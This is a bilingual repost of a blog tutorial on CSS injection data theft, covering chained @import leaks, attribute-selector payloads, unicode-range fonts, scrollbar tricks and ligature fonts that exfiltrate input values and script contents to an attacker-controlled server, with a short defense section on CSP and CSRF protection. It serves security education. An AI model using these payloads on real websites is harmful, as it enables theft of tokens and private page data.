Stealing Data with CSS – CSS Injection (Part 2)

渗透技巧 10个月前 admin
138 0 0

In Part 1, we learned the basic principle of stealing data with CSS and successfully stole the CSRF token as a practical example using HackMD. This article will delve into some details of CSS injection and address the following issues:
在第 1 部分中,我们学习了使用 CSS 窃取数据的基本原理,并使用 HackMD 成功窃取了 CSRF 令牌作为实际示例。本文将深入探讨 CSS 注入的一些细节,并解决以下问题:

  1. Since HackMD can load new styles without refreshing the page, how can we steal the second character and beyond on other websites?
    由于 HackMD 可以在不刷新页面的情况下加载新样式,我们如何在其他网站上窃取第二个字符及更多字符?
  2. If we can only steal one character at a time, will it take a long time? Is this feasible in practice?
    如果我们一次只能窃取一个角色,会不会需要很长时间?这在实践中可行吗?
  3. Is it possible to steal things other than attributes? For example, text content on a page or even JavaScript code?
    可以窃取属性以外的东西吗?例如,页面上的文本内容甚至JavaScript代码?
  4. What are the defense mechanisms against this attack?
    针对这种攻击的防御机制是什么?

Stealing All Characters 窃取所有字符

As we mentioned in Part 1, the data we want to steal may change after refreshing the page (such as the CSRF token), so we must load new styles without refreshing the page.
正如我们在第 1 部分中提到的,刷新页面后,我们要窃取的数据可能会发生变化(例如 CSRF 令牌),因此我们必须在不刷新页面的情况下加载新样式。

The answer to this problem is given in CSS Injection Attacks@import.
这个问题的答案在CSS注入攻击:@import中给出。

In CSS, you can use @import to import other styles from external sources, just like import in JavaScript.
在 CSS 中,您可以使用 @import 从外部源导入其他样式,就像在 JavaScript 中一样 import 。

We can use this feature to create a loop that imports styles, as shown in the following code:
我们可以使用此功能创建一个导入样式的循环,如以下代码所示:

@import url(https://myserver.com/start?len=8)

Then, the server returns the following style:
然后,服务器返回以下样式:

@import url(https://myserver.com/payload?len=1)
@import url(https://myserver.com/payload?len=2)
@import url(https://myserver.com/payload?len=3)
@import url(https://myserver.com/payload?len=4)
@import url(https://myserver.com/payload?len=5)
@import url(https://myserver.com/payload?len=6)
@import url(https://myserver.com/payload?len=7)
@import url(https://myserver.com/payload?len=8)

The key point is that although 8 are imported at once, “the server will hang for the next 7 requests and not respond”, and only the first URL https://myserver.com/payload?len=1 will return a response, which is the payload for stealing data mentioned earlier:
关键点是,虽然一次导入了 8 个,但“服务器接下来的 7 个请求会挂起而不响应”,只有第一个 URL https://myserver.com/payload?len=1 会返回响应,这就是前面提到的窃取数据的有效负载:

input[name="secret"][value^="a"] {
  background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
  background: url(https://b.myserver.com/leak?q=b)
}

input[name="secret"][value^="c"] {
  background: url(https://b.myserver.com/leak?q=c)
}

//....

input[name="secret"][value^="z"] {
  background: url(https://b.myserver.com/leak?q=z)
}

When the browser receives the response, it will first load the CSS above, and after loading, elements that meet the conditions will send requests to the backend. Assuming the first character is d, the server will then return the response of https://myserver.com/payload?len=2, which is:
当浏览器收到响应时,它会先加载上面的 CSS,加载后,满足条件的元素会向后端发送请求。假设第一个字符是 d,则服务器将返回 的 https://myserver.com/payload?len=2 响应,即:

input[name="secret"][value^="da"] {
  background: url(https://b.myserver.com/leak?q=da)
}

input[name="secret"][value^="db"] {
  background: url(https://b.myserver.com/leak?q=db)
}

input[name="secret"][value^="dc"] {
  background: url(https://b.myserver.com/leak?q=dc)
}

//....

input[name="secret"][value^="dz"] {
  background: url(https://b.myserver.com/leak?q=dz)
}

This process can be repeated to send all characters to the server, relying on the feature that import will load resources that have already been downloaded and then wait for those that have not yet been downloaded.
可以重复此过程以将所有字符发送到服务器,依赖于加载已下载的资源然后等待尚未下载的资源的功能 import 。

One thing to note here is that you will notice that the domain we load the style from is myserver.com, while the domain of the background image is b.myserver.com. This is because browsers usually have a limit on the number of requests that can be loaded from a single domain at the same time. Therefore, if you use only myserver.com, you will find that the request for the background image cannot be sent out and is blocked by CSS import.
这里要注意的一件事是,您会注意到我们从中加载样式的域是 ,而背景图像的域是 myserver.com b.myserver.com 。这是因为浏览器通常对可以同时从单个域加载的请求数量有限制。因此,如果仅 myserver.com 使用 ,您会发现对背景图片的请求无法发出,并且被 CSS 导入阻止。

Therefore, two domains need to be set to avoid this situation.
因此,需要设置两个域来避免这种情况。

In addition, this method is not feasible in Firefox because even if the response of the first request comes back, Firefox will not update the style immediately. It will wait for all requests to return before updating. The solution can be found in CSS data exfiltration in Firefox via a single injection point. Remove the first import step and wrap each character’s import in an additional style, like this:
此外,这种方法在 Firefox 中是不可行的,因为即使第一个请求的响应返回,Firefox 也不会立即更新样式。它将等待所有请求返回,然后再更新。解决方案可以在Firefox中通过单个注入点的CSS数据泄露中找到。删除第一个导入步骤,并以其他样式包装每个字符的导入,如下所示:

<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>

The above code works fine in Chrome, so we can change it to the above code to support both browsers.
上面的代码在Chrome中运行良好,因此我们可以将其更改为上述代码以支持两种浏览器。

To summarize, using the @import CSS feature allows us to “dynamically load new styles without reloading the page” and thus steal every character from behind.
总而言之,使用 @import CSS 功能允许我们“动态加载新样式而无需重新加载页面”,从而从后面窃取每个字符。

Stealing one character at a time is too slow, isn’t it?
一次偷一个角色太慢了,不是吗?

If we want to execute this type of attack in the real world, we may need to improve efficiency. For example, in HackMD, the CSRF token has a total of 36 characters, so we need to send 36 requests, which is too many.
如果我们想在现实世界中执行这种类型的攻击,我们可能需要提高效率。例如,在 HackMD 中,CSRF 令牌总共有 36 个字符,因此我们需要发送 36 个请求,这太多了。

In fact, we can steal two characters at a time because, as mentioned in the previous section, there are suffix selectors in addition to prefix selectors. Therefore, we can do this:
实际上,我们可以一次窃取两个字符,因为如上一节所述,除了前缀选择器之外,还有后缀选择器。因此,我们可以这样做:

input[name="secret"][value^="a"] {
  background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
  background: url(https://b.myserver.com/leak?q=b)
}

// ...
input[name="secret"][value$="a"] {
  border-background: url(https://b.myserver2.com/suffix?q=a)
}

input[name="secret"][value$="b"] {
  border-background: url(https://b.myserver2.com/suffix?q=b)
}

In addition to stealing the beginning, we also steal the end, which immediately doubles the efficiency. It is important to note that the CSS for the beginning and end uses different properties, background and border-background, respectively. If we use the same property, the content will be overwritten by others, and only one request will be sent in the end.
除了偷开头,我们还偷结尾,效率立即翻倍。需要注意的是,开头和结尾的 CSS 分别使用不同的属性和 background border-background 。如果我们使用相同的属性,内容将被其他人覆盖,最后只会发送一个请求。

If there are not many characters that may appear in the content, such as 16, we can directly steal two beginnings and two ends at a time, and the total number of CSS rules is 16*16*2 = 512, which should still be within an acceptable range and can speed up the process by another two times.
如果内容中可能出现的字符不多,比如 16 个,我们可以直接一次窃取两个开头和两个结尾,CSS 规则的总数 16*16*2 = 512,应该还在可接受的范围内,可以再加快两倍的过程。

In addition, we can also improve towards the server side, such as using HTTP/2 or even HTTP/3, which have the opportunity to speed up the loading speed of requests and improve efficiency.
此外,我们还可以向服务器端改进,比如使用 HTTP/2 甚至 HTTP/3,它们有机会加快请求的加载速度,提高效率。

Stealing other things 偷其他东西

Besides stealing attributes, is there any way to steal other things? For example, other text on the page? Or even the code in the script?
除了窃取属性,还有什么方法可以窃取其他东西吗?例如,页面上的其他文本?甚至是脚本中的代码?

According to the principle we mentioned in the previous section, it is impossible to do so. The reason we can steal attributes is that the “attribute selector” allows us to select specific elements, and in CSS, there is no selector that can select “text content”.
根据我们在上一节中提到的原则,这是不可能做到的。我们可以窃取属性的原因是“属性选择器”允许我们选择特定的元素,而在 CSS 中,没有可以选择“文本内容”的选择器。

Therefore, we need to have a deeper understanding of CSS and styles on the webpage to achieve this seemingly impossible task.
因此,我们需要对网页上的CSS和样式有更深入的了解,才能完成这项看似不可能完成的任务。

unicode-range 统一码范围

In CSS, there is a property called “unicode-range”, which can load different fonts for different characters. For example, the following example is taken from MDN:
在CSS中,有一个名为“unicode-range”的属性,它可以为不同的字符加载不同的字体。例如,以下示例取自 MDN:

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "Ampersand";
        src: local("Times New Roman");
        unicode-range: U+26;
      }

      div {
        font-size: 4em;
        font-family: Ampersand, Helvetica, sans-serif;
      }
    </style>
    <div>Me & You = Us</div>
  </body>
</html>

The unicode of & is U+0026, so only the character & will be displayed in a different font, and the others will use the same font.
的 & unicode 是 ,因此只有字符将以不同的字体显示 U+0026 ,而其他字符 & 将使用相同的字体。

Front-end engineers may have used this trick, for example, to use different fonts to display English and Chinese. This trick can also be used to steal text on the page, like this:
前端工程师可能已经使用过这个技巧,例如,使用不同的字体来显示英文和中文。这个技巧也可以用来窃取页面上的文本,像这样:

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "f1";
        src: url(https://myserver.com?q=1);
        unicode-range: U+31;
      }

      @font-face {
        font-family: "f2";
        src: url(https://myserver.com?q=2);
        unicode-range: U+32;
      }

      @font-face {
        font-family: "f3";
        src: url(https://myserver.com?q=3);
        unicode-range: U+33;
      }

      @font-face {
        font-family: "fa";
        src: url(https://myserver.com?q=a);
        unicode-range: U+61;
      }

      @font-face {
        font-family: "fb";
        src: url(https://myserver.com?q=b);
        unicode-range: U+62;
      }

      @font-face {
        font-family: "fc";
        src: url(https://myserver.com?q=c);
        unicode-range: U+63;
      }

      div {
        font-size: 4em;
        font-family: f1, f2, f3, fa, fb, fc;
      }
    </style>
    Secret: <div>ca31a</div>
  </body>
</html>

If you check the network tab, you will see a total of 4 requests sent:
如果您检查网络选项卡,您将看到总共发送了 4 个请求:

Stealing Data with CSS - CSS Injection (Part 2)

With this trick, we can know that there are 13ac four characters on the page.
通过这个技巧,我们可以知道页面上有 13ac 四个字符。

The limitation of this trick is obvious:
这个技巧的局限性很明显:

  1. We don’t know the order of the characters.
    我们不知道字符的顺序。
  2. We don’t know the repeated characters.
    我们不知道重复的字符。

However, thinking about how to steal characters from the perspective of “loading fonts” has really brought a new way of thinking to many people and has developed various other methods.
但是,从“加载字体”的角度思考如何窃取字符,确实给很多人带来了一种新的思维方式,并开发了各种其他方法。

Font height difference + first-line + scrollbar
字体高度差 + 首行 + 滚动条

This trick mainly solves the problem encountered in the previous trick: “cannot know the order of the characters”. This trick combines many details, and there are many steps, so you need to listen carefully.
这一招主要解决了上一招中遇到的问题:“无法知道字符的顺序”。这个技巧结合了很多细节,而且有很多步骤,所以你需要仔细听。

First, we can actually not load external fonts and leak out characters using built-in fonts. How can we do this? We need to find two sets of built-in fonts with different heights.
首先,我们实际上可以不加载外部字体并使用内置字体泄漏字符。我们该怎么做呢?我们需要找到两组不同高度的内置字体。

For example, there is a font called “Comic Sans MS”, which is higher than another font called “Courier New”.
例如,有一个名为“Comic Sans MS”的字体,它高于另一种名为“Courier New”的字体。

For example, assuming that the default font height is 30px and Comic Sans MS is 45px. Now we set the height of the text block to 40px and load the font, like this:
例如,假设默认字体高度为 30px,Comic Sans MS 为 45px。现在我们将文本块的高度设置为 40px 并加载字体,如下所示:

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "fa";
        src:local('Comic Sans MS');
        font-style:monospace;
        unicode-range: U+41;
      }
      div {
        font-size: 30px;
        height: 40px;
        width: 100px;
        font-family: fa, "Courier New";
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
      }
      
    </style>
    Secret: <div>DBC</div>
    <div>ABC</div>
  </body>
</html>

We will see the difference on the screen:
我们将在屏幕上看到差异:

Stealing Data with CSS - CSS Injection (Part 2)

It is obvious that A is higher than the height of other characters, and according to our CSS settings, if the content height exceeds the container height, a scrollbar will appear. Although it is not visible in the screenshot above, the ABC below has a scrollbar, while the DBC above does not.
很明显,A高于其他字符的高度,根据我们的CSS设置,如果内容高度超过容器高度,会出现滚动条。虽然在上面的屏幕截图中不可见,但下面的 ABC 有一个滚动条,而上面的 DBC 没有。

Moreover, we can actually set an external background for the scrollbar:
此外,我们实际上可以为滚动条设置外部背景:

div::-webkit-scrollbar {
    background: blue;
}

div::-webkit-scrollbar:vertical {
    background: url(https://myserver.com?q=a);
}

In other words, if the scrollbar appears, our server will receive a request. If the scrollbar does not appear, no request will be received.
换句话说,如果出现滚动条,我们的服务器将收到请求。如果未显示滚动条,则不会收到任何请求。

Furthermore, when I apply the “fa” font to the div, if there is an “A” on the screen, the scrollbar will appear, and the server will receive a request. If there is no “A” on the screen, nothing will happen.
此外,当我将“fa”字体应用于div时,如果屏幕上有一个“A”,则会出现滚动条,并且服务器将收到请求。如果屏幕上没有“A”,则不会发生任何事情。

Therefore, if I keep loading different fonts repeatedly, I can know what characters are on the screen on the server, which is the same as what we can do with unicode-range we learned earlier.
因此,如果我不断重复加载不同的字体,我可以知道服务器上屏幕上有哪些字符,这与我们 unicode-range 之前学到的相同。

So how do we solve the order problem?
那么我们如何解决订单问题呢?

We can first reduce the width of the div to only display one character, so that other characters will be placed on the second line. Then, with the help of the ::first-line selector, we can adjust the style specifically for the first line, like this:
我们可以先减小 div 的宽度以仅显示一个字符,以便将其他字符放置在第二行。然后,借助 ::first-line 选择器,我们可以专门针对第一行调整样式,如下所示:

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "fa";
        src:local('Comic Sans MS');
        font-style:monospace;
        unicode-range: U+41;
      }
      div {
        font-size: 0px;
        height: 40px;
        width: 20px;
        font-family: fa, "Courier New";
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
      }

      div::first-line{
        font-size: 30px;
      }

    </style>
    Secret: <div>CBAD</div>
  </body>
</html>

You will only see the character “C” on the screen because we first set the size of all characters to 0 using font-size: 0px, and then use div::first-line to adjust the font-size of the first line to 30px. In other words, only the characters on the first line can be seen, and the current div width is only 20px, so only the first character will appear.
您只会在屏幕上看到字符“C”,因为我们首先使用 font-size: 0px 将所有字符的大小设置为 0,然后用于 div::first-line 将第一行的字体大小调整为 30px。也就是说,只能看到第一行的字符,并且当前的div宽度只有20px,因此只会显示第一个字符。

Next, we can use the trick we just learned to load different fonts and see what happens. When I load the “fa” font, because there is no “A” on the screen, nothing will change. But when I load the “fc” font, “C” appears on the screen, so it will be displayed using Comic Sans MS, the height will increase, the scrollbar will appear, and we can use it to send a request, like this:
接下来,我们可以使用刚刚学到的技巧来加载不同的字体,看看会发生什么。当我加载“fa”字体时,因为屏幕上没有“A”,所以什么都不会改变。但是当我加载“fc”字体时,屏幕上会出现“C”,所以它会使用 Comic Sans MS 显示,高度会增加,滚动条会出现,我们可以用它来发送请求,如下所示:

div {
  font-size: 0px;
  height: 40px;
  width: 20px;
  font-family: fc, "Courier New";
  letter-spacing: 0px;
  word-break: break-all;
  overflow-y: auto;
  overflow-x: hidden;
  --leak: url(http://myserver.com?C);
}

div::first-line{
  font-size: 30px;
}

div::-webkit-scrollbar {
  background: blue;
}

div::-webkit-scrollbar:vertical {
  background: var(--leak);
}

So how do we keep using new font-families? We can use CSS animation to continuously load different font-families and specify different --leak variables.
那么我们如何继续使用新的字体系列呢?我们可以使用 CSS 动画来连续加载不同的字体系列并指定不同的 --leak 变量。

In this way, we can know what the first character on the screen is.
这样,我们可以知道屏幕上的第一个字符是什么。

After knowing the first character, we can make the width of the div longer, for example, to 40px, which can accommodate two characters. Therefore, the first line will be the first two characters, and then we can use the same method to load different font-families to leak out the second character, as follows:
知道第一个字符后,我们可以将 div 的宽度变长,例如到 40px,可以容纳两个字符。因此,第一行将是前两个字符,然后我们可以使用相同的方法加载不同的字体系列来泄漏出第二个字符,如下所示:

  1. Assuming that the screen displays ACB
    假设屏幕显示 ACB
  2. Adjust the width to 20px, and only the first character A appears on the first line
    将宽度调整为 20px,第一行仅显示第一个字符 A
  3. Load the font “fa”, so A is displayed in a larger font, the scrollbar appears, load the scrollbar background, and send a request to the server
    加载字体“fa”,所以A以较大的字体显示,滚动条出现,加载滚动条背景,并向服务器发送请求
  4. Load the font “fb”, but since B does not appear on the screen, nothing will change.
    加载字体“fb”,但由于 B 不会出现在屏幕上,因此不会有任何变化。
  5. Load the font “fc”, but since C does not appear on the screen, nothing will change.
    加载字体“fc”,但由于 C 没有出现在屏幕上,因此不会有任何变化。
  6. Adjust the width to 40px, and the first line displays the first two characters AC
  7. Load the font “fa”, same as step 3
  8. Load the font “fb”, B is displayed in a larger font, the scrollbar appears, and the background is loaded
    加载字体“fb”,B以较大的字体显示,出现滚动条,加载背景
  9. Load the font “fc”, C is displayed in a larger font, but because the same background has been loaded, no request will be sent
    加载字体“fc”,C 以较大的字体显示,但由于已加载相同的背景,因此不会发送任何请求
  10. End

From the above process, it can be seen that the server will receive three requests in sequence, A, C, B, representing the order of the characters on the screen. Changing the width and font-family continuously can be achieved using CSS animation.
从上面的过程中可以看出,服务器将依次接收三个请求,A、C、B,代表屏幕上字符的顺序。使用CSS动画可以实现连续更改宽度和字体系列。

If you want to see the complete demo, you can check out this webpage (source: What can we do with single CSS injection?): https://demo.vwzq.net/css2.html
如果你想看到完整的演示,你可以看看这个网页(来源:我们能用单一的CSS注入做什么?):https://demo.vwzq.net/css2.html

Although this solution solves the problem of “not knowing the order of characters”, it still cannot solve the problem of duplicate characters, because no request will be sent for duplicate characters.
虽然这个解决方案解决了“不知道字符顺序”的问题,但仍然无法解决重复字符的问题,因为不会发送重复字符的请求。

Ultimate move: ligature + scrollbar
终极招式:连字+滚动条

In short, this trick can solve all the above problems, achieve the goal of “knowing the order of characters and knowing duplicate characters”, and steal the complete text.
总之,这一招可以解决以上所有问题,达到“知字顺序、知重字”的目的,窃取全文。

Before understanding how to steal, we need to know a proprietary term called ligature. In some fonts, some specific combinations will be rendered as a connected shape, as shown in the figure below (source: wikipedia):
在了解如何偷窃之前,我们需要知道一个称为连字的专有术语。在某些字体中,一些特定的组合将呈现为连接的形状,如下图所示(来源:维基百科):

Stealing Data with CSS - CSS Injection (Part 2)

So what’s the benefit of this to us?
那么这对我们有什么好处呢?

We can create a unique font ourselves, set ab as a ligature, and render an ultra-wide element. Then, we set the width of a certain div to a fixed value, and combine the scrollbar trick we just learned, which is: “If ab appears, it will become very wide, the scrollbar will appear, and we can load the request to tell the server; if it doesn’t appear, the scrollbar won’t appear, and nothing will happen.”
我们可以自己创建一个独特的字体,设置为 ab 连字,并渲染一个超宽元素。然后,我们将某个div的宽度设置为固定值,并结合我们刚刚学到的滚动条技巧,即:“如果 ab 出现,它会变得很宽,滚动条会出现,我们可以加载请求告诉服务器;如果它没有出现,滚动条就不会出现,也不会发生任何事情。

The process is as follows, assuming there are the three characters acc on the screen:
过程如下,假设屏幕上有三个字符 acc :

  1. Load the font with the ligature aa, nothing happens.
    用连字加载字体 aa ,什么也没发生。
  2. Load the font with the ligature ab, nothing happens.
    用连字加载字体 ab ,什么也没发生。
  3. Load the font with the ligature ac, successfully render the ultra-wide screen, the scrollbar appears, and load the server image.
    用连字加载字体,成功渲染超宽屏,出现滚动条 ac ,加载服务器图片。
  4. The server knows that ac appears on the screen.
    服务器知道屏幕上显示的内容 ac 。
  5. Load the font with the ligature aca, nothing happens.
    用连字加载字体 aca ,什么也没发生。
  6. Load the font with the ligature acb, nothing happens.
    用连字加载字体 acb ,什么也没发生。
  7. Load the font with the ligature acc, successfully render, the scrollbar appears, and send the result to the server.
    用连字加载字体,成功呈现,出现滚动条 acc ,并将结果发送到服务器。
  8. The server knows that acc appears on the screen.
    服务器知道屏幕上显示的内容 acc 。

Through ligatures combined with the scrollbar, we can leak out all the characters on the screen, even JavaScript code!
通过连字与滚动条相结合,我们可以泄露屏幕上的所有字符,甚至是 JavaScript 代码!

Did you know that the contents of a script can be displayed on the screen?
您知道脚本的内容可以显示在屏幕上吗?

head, script {
  display: block;
}

Just add this CSS, and the contents of the script will be displayed on the screen. Therefore, we can also use the same technique to steal the contents of the script!
只需添加此CSS,脚本的内容将显示在屏幕上。因此,我们也可以用同样的技术来窃取脚本的内容!

In practice, you can use SVG with other tools to quickly generate fonts on the server side. If you want to see the details and related code, you can refer to this article: Stealing Data in Great style – How to Use CSS to Attack Web Application.
在实践中,您可以将 SVG 与其他工具一起使用,在服务器端快速生成字体。如果你想查看细节和相关代码,可以参考这篇文章:以伟大的风格窃取数据 – 如何使用CSS攻击Web应用程序。

Here, I will simply make a demo that is simplified to the extreme to prove that this is feasible. To simplify, someone has made a Safari version of the demo, because Safari supports SVG fonts, so there is no need to generate fonts from the server. The original article is here: Data Exfiltration via CSS + SVG Font – PoC (Safari only)
在这里,我将简单地做一个简化到极致的演示,以证明这是可行的。为了简化起见,有人制作了 Safari 版本的演示,因为 Safari 支持 SVG 字体,因此无需从服务器生成字体。原始文章在这里: 通过CSS + SVG字体进行数据泄露 – PoC(仅限Safari)

Simple demo: 简单演示:

<!DOCTYPE html>
<html lang="en">
<body>
  <script>
    var secret = "abc123"
  </script>
  <hr>
  <script>
    var secret2 = "cba321"
  </script>
  <svg>
    <defs>
    <font horiz-adv-x="0">
      <font-face font-family="hack" units-per-em="1000" />
        <glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
      </font>
    </defs>
  </svg>
  <style>
    script {
      display: block;
      font-family:"hack";
      white-space:n owrap;
      overflow-x: auto;
      width: 500px;
      background:lightblue;
    }

    script::-webkit-scrollbar {
      background: blue;
    }

  </style>
</body>
</html>

I put two pieces of JS in the script, the contents of which are var secret = "abc123" and var secret2 = "cba321", and then use CSS to load the font I prepared. As long as there is a ligature of "a, the width will become ultra-wide.
我在脚本中放了两段JS,内容是 var secret = "abc123" 和 var secret2 = "cba321" ,然后用CSS加载我准备的字体。只要有连 "a 字,宽度就会变得超宽。

Next, if the scrollbar appears, I set the background to blue, which is more conspicuous. The final result is as follows:
接下来,如果出现滚动条,我将背景设置为蓝色,这样更显眼。最终结果如下:

Stealing Data with CSS - CSS Injection (Part 2)

Above, because the content is var secret = "abc123", it meets the ligature of "a, so the width becomes wide and the scrollbar appears.
上面,因为内容是 var secret = "abc123" ,它符合 的 "a 连字,所以宽度变宽,滚动条出现。

Below, because there is no "a, the scrollbar does not appear (where there is an a will be missing, which should be related to me not defining other glyphs, but it does not affect the result).
下面,因为没有 "a ,滚动条没有出现(哪里缺少一个 a ,应该和我没有定义其他字形有关,但不影响结果)。

Just change the background of the scrollbar to a URL, and you can know the leaked result from the server side.
只需将滚动条的背景更改为URL,就可以从服务器端知道泄露的结果。

If you want to see the actual demo and server-side code, you can refer to the two articles attached above.
如果你想看到实际的演示和服务器端代码,可以参考上面附带的两篇文章。

Defense 防御

Finally, let’s talk about defense. The simplest and most straightforward way is to simply seal up the style and not allow its use. Basically, there will be no CSS injection problems (unless there are vulnerabilities in the implementation).
最后,让我们谈谈防御。最简单,最直接的方法是简单地密封样式并不允许其使用。基本上,不会有CSS注入问题(除非实现中存在漏洞)。

If you really want to open up the style, you can also use CSP to block the loading of some resources, such as not needing to fully open font-src, and style-src can also set an allow list to block the @import syntax.
如果真的想开放样式,也可以使用 CSP 阻止加载一些资源,比如不需要完全打开 font-src , style-src 还可以设置允许列表来阻止 @import 语法。

Next, you can also consider “what will happen if things on the page are taken away”, such as if the CSRF token is taken away, the worst case is CSRF, so you can implement more protection to block CSRF, even if the attacker obtains the CSRF token, they cannot CSRF (such as checking the origin header more).
接下来,你也可以考虑“如果页面上的东西被拿走会发生什么”,比如如果 CSRF 代币被拿走,最坏的情况是 CSRF,这样就可以实现更多的保护来阻止 CSRF,即使攻击者获得了 CSRF 代币,他们也无法 CSRF(比如多检查源头)。

Summary 总结

CSS is really vast and profound. I really admire these predecessors who can play with CSS in so many ways and develop so many eye-opening attack techniques. When I was studying it, I could understand using attribute selectors to leak, and I could understand using unicode-range, but the one that uses text height plus CSS animation to change, I spent a lot of time to figure out what it was doing. Although the concept of ligatures is easy to understand, there are still many problems when it comes to implementation.
CSS确实是浩瀚而深刻的。我真的很佩服这些前辈,他们可以在很多方面玩CSS,并开发出如此多令人大开眼界的攻击技巧。当我研究它时,我可以理解使用属性选择器来泄漏,我也可以理解使用,但是使用 unicode-range 文本高度加上CSS动画来更改的那个,我花了很多时间来弄清楚它在做什么。虽然连字的概念很容易理解,但在实现方面仍然存在许多问题。

Finally, these two articles mainly introduce the CSS injection attack method. Therefore, there is not much actual code, and these attack methods are all referenced from previous articles. The list will be attached below. If you are interested, you can read the original text, which will be more detailed. If you want to delve into any attack, you can also leave a message to communicate with me.
最后,这两篇文章主要介绍了CSS注入攻击方法。因此,实际代码并不多,这些攻击方法都是从以前的文章中引用的。名单附在下面。有兴趣的话可以阅读原文,会更详细。如果你想深入研究任何攻击,你也可以留言和我沟通。

References: 引用:

  1. CSS Injection Attacks CSS 注入攻击
  2. CSS Injection Primitives
    CSS 注入原语
  3. HackTricks – CSS Injection
    黑客技巧 – CSS 注入
  4. Stealing Data in Great style – How to Use CSS to Attack Web Application.
    以伟大的风格窃取数据 – 如何使用CSS攻击Web应用程序。
  5. Data Exfiltration via CSS + SVG Font
    通过 CSS + SVG 字体进行数据泄露
  6. Data Exfiltration via CSS + SVG Font – PoC (Safari only)
    通过 CSS + SVG 字体进行数据泄露 – PoC(仅限 Safari)
  7. CSS data exfiltration in Firefox via a single injection point
    通过单个注入点在 Firefox 中泄露 CSS 数据

原文始发于Huli’s blog:Stealing Data with CSS – CSS Injection (Part 2)

版权声明:admin 发表于 2023年9月18日 上午8:45。
转载请注明:Stealing Data with CSS – CSS Injection (Part 2) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...